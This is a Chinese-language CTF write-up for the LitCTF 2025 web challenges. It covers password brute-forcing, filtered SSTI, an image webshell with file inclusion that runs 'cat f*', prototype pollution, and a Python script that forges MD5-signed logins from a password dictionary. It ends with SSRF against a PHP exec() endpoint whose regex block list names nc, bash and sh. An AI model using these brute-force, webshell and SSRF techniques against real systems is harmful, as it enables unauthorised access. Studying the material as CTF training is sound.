Gentle_knife's Studio.

LitCTF-Web方向题解

Word count: 1.4kReading time: 6 min
2025/05/26
loading

title: LitCTF_Web 方向题解 date: 2025-05-26 20:24:05 tags:

https://idontknowctf.xyz/2025/05/26/LitCTF2025-WriteUp/

nest_js(爆破后登录)

img
爆破

img
看到这个,摸不准头脑

结果

img

星愿信箱(过滤<>的 ssti)

输入什么就输出什么,像 ssti

img

发现过滤,有 str_replace

img

本来想尝试遍历

img

反正结果都一样

然后换了其他的类

img

easy_file(图片马+文件包含)

这个题告诉了我文件上传后的路径,所以应该是图片马+文件包含

结果?file 包含不成功,就放弃了

这里登录的账号密码是 md5 加密还是 base64 加密来着,总之爆破的时候在 bp 里选择就好了。

尝试后发现:

1.文件内容不能有 php,<?=短标签绕过即可

2.文件后缀基本上全被屏蔽了,但是给了上传后的路径,应该是可以文件包含的

img

后缀变成.jpg

<?=

img

1
http://node6.anna.nssctf.cn:21133/admin.php?file=uploads/test.jpg&1=cat%20f*

难不成是因为我 一句话木马写的 post 但是蚁剑连不上所以做不出来?

多重宇宙日记(原型链污染)

因为忘记原型链怎么搞了,没做出来。

随便注册一个账号,再/profile 看到:

得到重要参数 is_Admin。结合题目信息打原型链污染即可。

img

img

img

easy_signin(jwt 加密)

进去 403,先扫盘,发现 login.php 和 login.html(注意是前后端分离的)

发现名字是 user 不能改,打开 bp 抓包发现是 md5 加密,user 提升不对,放上 admin 加密后说密码不对

打开 js 查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// 获取页面元素
const loginBtn = document.getElementById('loginBtn'); // 登录按钮
const passwordInput = document.getElementById('password'); // 密码输入框
const errorTip = document.getElementById('errorTip'); // 错误提示元素
const rawUsername = document.getElementById('username').value; // 用户名输入值(注意:这里存在问题,应该在点击时获取)

// 为登录按钮添加点击事件监听
loginBtn.addEventListener('click', async () => {
// 获取并处理用户输入的密码(去除首尾空格)
const rawPassword = passwordInput.value.trim();

// 验证密码是否为空
if (!rawPassword) {
errorTip.textContent = '请输入密码'; // 设置错误提示文本
errorTip.classList.add('show'); // 显示错误提示(通过添加 CSS 类)
passwordInput.focus(); // 聚焦密码输入框
return; // 终止执行
}

// 对用户名和密码进行 MD5 加密
const md5Username = CryptoJS.MD5(rawUsername).toString(); // 完整 MD5 加密后的用户名
const md5Password = CryptoJS.MD5(rawPassword).toString(); // 完整 MD5 加密后的密码

// 截取 MD5 值的前 6 位(用于签名生成)
const shortMd5User = md5Username.slice(0, 6);
const shortMd5Pass = md5Password.slice(0, 6);

// 生成当前时间戳(用于防止重放攻击)
const timestamp = Date.now().toString(); // 毫秒级时间戳

// 签名生成密钥(客户端和服务器端需保持一致)
const secretKey = 'easy_signin';
// 生成签名:将用户名、密码的短 MD5 值与时间戳、密钥拼接后再进行 MD5 加密
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

// 发送登录请求
try {
const response = await fetch('login.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Sign': sign // 在请求头中添加签名,用于服务器验证
},
body: new URLSearchParams({
username: md5Username, // 完整 MD5 加密后的用户名
password: md5Password, // 完整 MD5 加密后的密码
timestamp: timestamp // 时间戳
})
});

// 处理响应
const result = await response.json();
if (result.code === 200) {
alert('登录成功!');
window.location.href = 'dashboard.php'; // 跳转到仪表盘页面
} else {
errorTip.textContent = result.msg; // 显示服务器返回的错误信息
errorTip.classList.add('show');
passwordInput.value = ''; // 清空密码输入框
passwordInput.focus(); // 聚焦密码输入框
setTimeout(() => errorTip.classList.remove('show'), 3000); // 3 秒后隐藏错误提示
}
} catch (error) {
errorTip.textContent = '网络请求失败'; // 处理网络异常
errorTip.classList.add('show');
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
});

// 当用户在密码输入框中输入内容时,隐藏错误提示
passwordInput.addEventListener('input', () => {
errorTip.classList.remove('show');
});

由于爆破需要多变量符合要求,所以写脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hashlib
import requests
import time
file_path=r'C:\Users\111\Desktop\Gentle_knife_the_way_from_0_to_1_CTFer\BP 爆破字典\最新网站后台密码破解字典.txt'
try :
with open(file_path,'r') as file:
for password in file.readlines():
password = password.strip()


user = "admin"


md5_user = hashlib.md5(user.encode('utf-8')).hexdigest()
md5_password = hashlib.md5(password.encode('utf-8')).hexdigest()
shortMd5User = md5_user[:6]
shortMd5Pass = md5_password[:6]

timestamp = str(int(time.time())*1000)
secretKey = 'easy_signin'
all_ = shortMd5User + shortMd5Pass + timestamp + secretKey
sign = hashlib.md5(all_.encode('utf-8')).hexdigest()

url = ("http://node6.anna.nssctf.cn:26946/login.php")
data = {
'username': md5_user,
'password':md5_password,
'timestamp':timestamp
}

headers= {
"Content-Type": "application/x-www-form-urlencoded",
"X-Sign": sign
}

response = requests.post(url, headers=headers, data=data)
if "200" in response.text:
print(response.text)
print(response.headers)
print(password)
except Exception as e:
print(e)

img

1
2
3
if (result.code === 200) {
alert('登录成功!');
window.location.href = 'dashboard.php'; // 跳转到仪表盘页面

看到源码里面登陆成功要进 dashboard.php

img

注意到有 api.js。访问得到一个 api 路由:/api/sys/urlcode.php?url=

读取 8e0132966053d4bf8b2dbe4ede25502b.php 内容:

img

不带 file://看不到源码

img

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);

$name="waf";
$name = $_GET['name'];


if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
echo "waf!!";
exit;
}


if (preg_match('/more|less|head|sort/', $name)) {
echo "waf";
exit;
}


if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
echo "waf!";
exit;
}

exec($name, $output, $return_var);
echo "执行结果:\n";
print_r($output);
echo "\n 返回码:$return_var";
} else {
echo("非本地用户");
}

?>

注意到必须是本地请求。那么就靠 api 接口打 SSRF

1
http://node6.anna.nssctf.cn:26946/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=ls%2520

img

flag 在 web 目录下img

CATALOG
  1. 1. title: LitCTF_Web 方向题解 date: 2025-05-26 20:24:05 tags:
  • nest_js(爆破后登录)
  • 星愿信箱(过滤<>的 ssti)
  • easy_file(图片马+文件包含)
  • 多重宇宙日记(原型链污染)
  • easy_signin(jwt 加密)